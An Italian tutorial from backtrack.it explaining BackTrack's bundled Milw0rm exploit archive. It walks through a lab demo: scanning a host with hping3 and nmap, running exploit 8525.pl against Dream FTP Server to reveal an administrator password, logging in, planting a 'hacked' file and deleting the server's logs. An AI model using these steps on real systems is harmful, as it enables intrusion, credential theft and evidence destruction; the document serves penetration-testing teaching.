

# «Back|Track-[IT]

[www.backtrack.it](http://www.backtrack.it)



(c) 2009 brigante  
[brigante@backtrack.it](mailto:brigante@backtrack.it)

## *Milw0rm Exploits Archive*



\*\*\*

Questo documento esplica, si spera nel modo più chiaro possibile, in due parti, cos'è – cosa comporta e come funziona l' **Archivio** degli **Exploits** di **Milw0rm**, inserito in **BackTrack** di default.

Essendo **BackTrack** attualmente alla versione **4.beta**, la seconda parte di questo documento farà riferimento, (per esplicare così il funzionamento), ad un video girato con questa versione della distro.

Il video lo troverete nell' apposita [sezione](#) del nostro portale, volendo scaricarlo nella risoluzione originale [1280x800] , potete farlo dal [blog](#).

Iniziamo quindi a descrivere cos'è l' archivio degli exploits di Milw0rm.

Gli sviluppatori di BackTrack, hanno inserito di default nella distribuzione un archivio di exploits che potesse permettere anche offline di effettuare pentesting con il massimo grado di efficacia e l' hanno fatto inserendo l' archivio degli exploits di milw0rm.

Ma cos'è milw0rm?

Milw0rm o meglio, **milw0rm.com**, è un sito che raccoglie e, in un certo senso, annuncia la scoperta e la pubblicazione di nuove [Vulnerabilità](#) , nuovi [Exploits](#), e [Shellcodes](#).

Milw0rm.com è, insieme anche ad altri siti, un punto di riferimento per tutti coloro che vogliono tenersi aggiornati con la scoperta di nuove vulnerabilità, cosa fondamentale per i sysadmin, webmaster, pentester e tutti i professionisti, ma anche per tutti coloro che vogliono imparare l' arte della sicurezza informatica. Infatti sullo stesso sito si possono trovare vari tipi di materiale didattico, da paper a video dimostrativi.

Capirete quindi l' importanza per una security-distro come BackTrack , di avere già di primo uso l' archivio degli exploits di milw0rm.

L' archivio, è inserito in **BackTrack** nella directory: / **pentest** / **exploits** / **milw0rm**/ ...

Da qui l' archivio si suddivide ed articola per le varie porte [ **...rport**/ ] , (*potendo accedere quindi secondo la porta di ineteresse*), e le varie pittaforme [ **..platforms**/ ] , che vanno da **UNIX** a **Windows – Linux – Solaris – BSD – OSX** eccetera...

Da ogni subdirectory riguardante la piattaforma scelta, gli exploits continuano a suddividersi per categorie, da exploits da uso in **locale** , a quelli in **remoto**.

Possiamo quindi vedere che la scelta è di semplice comprensione, ma oltretutto facilitata grazie al file di testo **sploitlist.txt** , che contiene riga per riga il nome e la descrizione di tutti gli exploit presenti nell' archivio, in questo modo in **BackTrack** basta posizionarsi all' interno della giusta directory [ **/pentest/exploits/milw0rm/** ] , ed usare il comando **grep** seguito dal **nome** dell' applicazione scelta come obbiettivo dell' attacco e dal nome del file, **sploitlist.txt**. Per fare un esempio, se cerchiamo un exploit per il Vista, ci basterà dare il seguente comando:

```
wels@HaCkLaB-LBT~/pentest/exploits/milw0rm/~$ grep Vista sploitlist.txt
```

Ed avremmo come risultato tutti gli exploits che sono disponibili per Vista, per essere magari più sicuri sul nome da cercare potremmo aggiungere l' opzione **-i** al comando **grep** [ **grep -i nome-exploit sploitlist.txt** ]

\*\*\*

Come in ogni pentest l' exploit va scelto secondo le condizioni che il target richiede, secondo una determinata vulnerabilità, che può essere più o meno recente.

Fare quindi un aggiornamento dell' archivio degli exploits può essere una cosa a volte essenziale ed è anche semplice grazie allo script appositamente creato, **update-milw0rm**, che si trova nella directory / **pentest / exploits /** . Una volta lanciato lo script aggiornerà l' archivio tramite download diretto dal sito e ci permetterà quindi di avere gli exploits disponibili al momento.

Gli exploits presenti nell' archivio sono scritti in vari tipi di linguaggi di programmazione e possono essere già compilati o da compilare, sempre secondo il target da exploitare.

Fatta questa piccola premessa su cos'è l' archivio degli exploits di milw0rm, passiamo alla seconda parte del documento, che decrive passo passo il video creato come demo.

\*\*\*

#### PROCEDURA :

- identificazione del sistema attacker - **ifconfig -a**
- aggiornamento archivio exploits - **sh ./update-milw0rm**
- prova di visibilità del target - **ping e hping3 - -scan 1-30 -S -V**
- scansione host con opzioni di services fingerprinting - **nmap -A -T4 -F ..... -v**
- ricerca exploit - **grep**
- compilazione exploit - **nano**
- lancio exploit secondo le indicazioni della matrice - **perl ./8525.pl XXX ..... ..**
- sniffing per la verifica delle credenziali inserite durante la sessione FTP - **dsniff -i eth0**
- apertura sessione FTP con le credenziali ottenute dall' attacco - **ftp ..... ..**
- creazione e trasferimento di un file di testo - **nano – append**
- ricerca e cancellazione log del server FTP - **delete**

\*\*\*

seguendo il video:

**E**nrato in BackTrack, apro una shell e dò il comando **ifconfig -a** per visualizzare le impostazioni della mia connessione, in questo testo per una questione di lettura riporto solo l'occorrente, ovvero i dati della mia scheda ethernet.:

```
wels@HaCkLaB-LBT:~$ ifconfig -a
eth0  Link encap:Ethernet HWaddr 00:16:d4:d5:60:3c
      inet addr:192.168.1.96 Bcast:192.168.1.255 Mask:255.255.255.0
      inet6 addr: fe80::216:d4ff:fed5:603c/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
      RX packets:8737 errors:0 dropped:0 overruns:0 frame:0
      TX packets:5695 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:12182474 (12.1 MB) TX bytes:539038 (539.0 KB)
      Interrupt:21

      --- testo omissso ---
```

Subito dopo mi sposto all'interno della directory giusta **/pentest/exploits/** e inizio l'aggiornamento degli exploits dell'archivio tramite lo **script** con il seguente comando:

```
wels@HaCkLaB-LBT /pentest/exploits/~$ sudo sh ./update-milw0rm
```

Ed inizia l'aggiornamento...

\*\*\*

**I**ntanto provo la visibilità dell' host, con un semplice **ping** , che però come si possiamo vedere dal video non è efficace perché l' host target lo rifiuta.

```
wels@HaCkLaB-LBT:~$ sudo ping 192.168.1.100
[sudo] password for wels:
PING 192.168.1.100 (192.168.1.100) 56 (84) bytes of data
^C
--- 192.168.1.100 ping statistics ---
7 packets transmitted , 0 received, 100% packet loss, time 6808ms
```

Non è la stessa cosa invece per **hping3**, che con opzioni di scanning con flag **SYN**, sul range di porte **1-30** trova la risposta dal server e ci dice anche le porte aperte nel range da noi definito.

```
wels@HaCkLaB-LBT:~$ sudo hping3 --scan 1-30 -S -V 192.168.1.100
using eth0, addr: 192.168.1.96, MTU: 1500
Scanning 192.168.1.100 (192.168.1.100), port 1-30
30 ports to scan, use -V to see all the replies
+---+-----+-----+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+---+-----+-----+---+-----+-----+-----+
 21 ftp      : .S..A... 128 35447 65535 46
 25 smtp     : .S..A... 128 35703 65535 46
All replies received. Done.
Not responding ports: (1 tcpmux) (2 nbp) (3 ) (4 echo) (5 ) (6 zip) (7 echo) (8 ) (9 discard) (10 ) (11
systat) (12 ) (13 daytime) (14 ) (15 netstat) (16 ) (17 qotd) (18 msp) (19 chargen) (20 ftp-data) (22
ssh) (23 telnet) (24 ) (26 ) (27 ) (28 ) (29 ) (30 )
```

\*\*\*

**O**ra che abbiamo la certezza che l' host sia online procediamo con uno scanning con **nmap** pasandogli opzioni di **Services Fingerprinting**. *Parte di testo omessa per questioni di spazio.*

```
wels@HaCkLaB-LBT:~$ sudo nmap -A -T4 -F 192.168.1.100 -v
```

```
Starting Nmap 4.85BETA9 ( http://nmap.org ) at 2009-06-14 06:59 CEST
NSE: Loaded 28 scripts for scanning.
Initiating ARP Ping Scan at 06:59
Scanning 192.168.1.100 [1 port]
Completed ARP Ping Scan at 06:59, 0.00s elapsed (1 total hosts)
  --- testo omesso --- Scanning hacklabs-dwd.hacklabs.org (192.168.1.100) [100 ports]
Discovered open port 21/tcp on 192.168.1.100
Scanning 5 services on hacklabs-dwd.hacklabs.org (192.168.1.100)
Completed Service scan at 07:00, 12.11s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against hacklabs-dwd.hacklabs.org (192.168.1.100)
NSE: Script scanning 192.168.1.100.
NSE: Starting runlevel 1 scan
Initiating NSE at 07:00
Completed NSE at 07:00, 5.11s elapsed
NSE: Script Scanning completed.
Host hacklabs-dwd.hacklabs.org (192.168.1.100) is up (0.0057s latency).
Interesting ports on hacklabs-dwd.hacklabs.org (192.168.1.100):
Not shown: 95 filtered ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      BolinTech Dream FTP Server
|_ ftp-bounce: bounce working!
25/tcp    open  smtp     Microsoft ESMTP 6.0.2600.2180
|_ smtp-commands: EHLO hacklabs-dwd Hello [192.168.1.96], SIZE 2097152, PIPELINING, DSN,
ENHANCEDSTATUSCODES, 8bitmime, BINARYMIME, CHUNKING, VRFY
|_ HELP This server supports the following commands: HELO EHLO STARTTLS RCPT DATA
RSET MAIL QUIT HELP AUTH BDAT VRFY
80/tcp    open  http     Apache httpd 2.2.11 ((Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i
PHP/5.2.9)
|_ html-title: Requested resource was http://hacklabs-dwd.hacklabs.org/xampp/ and no page was
|_ sslv2: server still supports SSLv2
|_ html-title: Did not follow redirect to https://hacklabs-dwd.hacklabs.org/xampp/ and no page was
returned.
Running: Microsoft Windows 2003|XP
OS details: Microsoft Windows Server 2003 SP0 or Windows XP SP2, Microsoft Windows XP SP3
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows  --- testo omesso ---
```

\*\*\*

**B**ene, ora che abbiamo il quadro completo dell' host da attaccare non ci rimane che cercare secondo i dati ricevuti dallo scanning con nmap, un' exploit che faccia al caso nostro...

Nmap dalla scansione ci dice che sul server è presente il **Dream FTP Server**, possiamo provare quindi a cercare un exploit per quest' applicazione, e dopo esserci spostati all' interno dell directory contenente il file di testo sploitlist.txt usiamo il comando grep, nel modo seguente...

```
wels@HaCkLaB-LBT: /pentest/exploits/milw0rm/ ~$ grep Dream sploitlist.txt
--- testo omissso ---
./platforms/php/remote/6034.txt Dreampics Builder (page) Remote SQL Injection Vulnerability
./platforms/php/remote/6035.txt DreamNews Manager (id) Remote SQL Injection Vulnerability
./platforms/php/remote/7968.php DreamPics Photo/Video Gallery Blind SQL Injection Exploit
./platforms/windows/remote/8525.pl Dream FTP Server 1.02 (users.dat) Arbitrary File
--- testo omissso ---
```

\*\*\*

Bene, un exploit c'è , ora basta provarlo, naturalmente prima gli si dà uno sguardo, nel senso che molto probabilmente ci sarà da cambiare qualcosa o qualche riferimento... ...come vediamo dal video aprendo con nano l' exploit **8525.pl** vediamo subito che ci sono due possibilità di funzionamento: **1)** Che il server ftp **Dream** venga installato sull' host nella consueta directory **Program Files**, **2)** Che venga installato nella directory **Programs** che però avendo a che fare con un host italiano, la cartella sarà o **Program Files** o **Programmi**, dal video possiamo vedere che ho optato per la seconda scelta ovvero: **Programmi**. Facendo diventare la riga di codice:

```
.....
$target1="Programmi"; # the target is italian ;)
.....
.....
.....
```

\*\*\*

**B**ene, ora siamo pronti per lanciare il nostro exploit, seguendo prima ciò che ci verrà detto dalla matrice dell' exploit, dall' header, ed infatti...

```
HaCkLaB-LBT:/pentest/exploits/milw0rm/platforms/windows/remote~$ perl ./8525.pl
Dream FTP Server 1.02 (users.dat) Passwords/users Disclosure Exploit
*****
*   Found And Exploited By : Cyber-Zone (ABDELKHALEK)   *
*   E-mail : Paradis_des_fous[at]hotmail.fr           *
*   Home : WwW.IQ-TY.CoM , WwW.No-Exploit.CoM        *
*   From : MoroccO Figuig/Oujda City                 *
*****
[X] Usage : perl ./8525.pl HackerName IP Port
[X] Exemple : perl ./8525.pl Cyber-Zone 127.0.0.1 80
```

Ed ecco che l' header ci dice come usare l' exploit: **Usage : perl ./8525.pl HackerName IP Port**  
A noi non tocca fare altro che seguire le indicazioni riportate, quindi:

```
HaCkLaB-LBT:/pentest/.../windows/remote~$ perl ./8525.pl XXX 192.168.1.100 21
Dream FTP Server 1.02 (users.dat) Passwords/users Disclosure Exploit
*****
--- testo omezzo ---
Administrator      imtheadminC:\
--- testo omezzo ---
```

\*\*\*

Come possiamo vedere dopo pochi secondi arrivano i risultati, che l' exploit prende dal file **user.dat** del Server FTP: account “**Administrator**” con password **imtheadmin** e root=C:\

A noi, non resta che aprire una sessione FTP verso l' host e verificare che le credenziali siano esatte.

Testimoniarlo dal video era un po' difficile, per questo ho iniziato uno sniffing sulla mia interfaccia di rete prima di accedere al server FTP, in questo modo le credenziali dell' accesso al Server vengono registrate, o meglio sniffate, il comando che ho usato è:

```
wels@HaCkLaB-LBT~$ dsniff -i eth0
[sudo] pasword for wels:
dsniff: listening on eth0...
```

Aprendo una sessione FTP sul server con il comando **ftp 192.168.1.100 21** , mi connetto come **Administrator** ed ho accesso completo al server, [ **root = C:\** ], e dopo aver editato un innoquo file di testo, **nano hacked.txt** lo trasferisco sul server come semplice avvertimento con il comando **append**, quindi:

```
ftp> append /home/wels/hacked.txt hacked.txt
```

Subito dopo cerco i log del Server ftp spostandomi ricorsivamente nelle directory:

**Programmi → BolinTech → logs**

e cancello il file con:

```
ftp> delete log*****.txt
```

Dalla verifica con lo **sniffing**  
le credenziali sono esatte ;) )

---

*links to:* [Milw0rm](#) – [Nmap](#) – [Dsniff](#) - [HPING3](#)

---

---

Milw0rm Exploits Archive:

---

in **BackTrack:**

**BackTrack → Penetration → Milw0rm**



# www.backtrack.it

\*\*\*

*Questo documento è da ritenersi esclusivamente per scopi informativi / didattici, l' autore del testo e coloro che lo ospitano sul proprio spazio non sono responsabili delle azioni commesse da terze parti.*

\*\*\*

(c)2009 *brigante* for [backtrack.it](http://backtrack.it) published under [GNU/GPL-v3](http://www.gnu.org/licenses/gpl-3.0.html)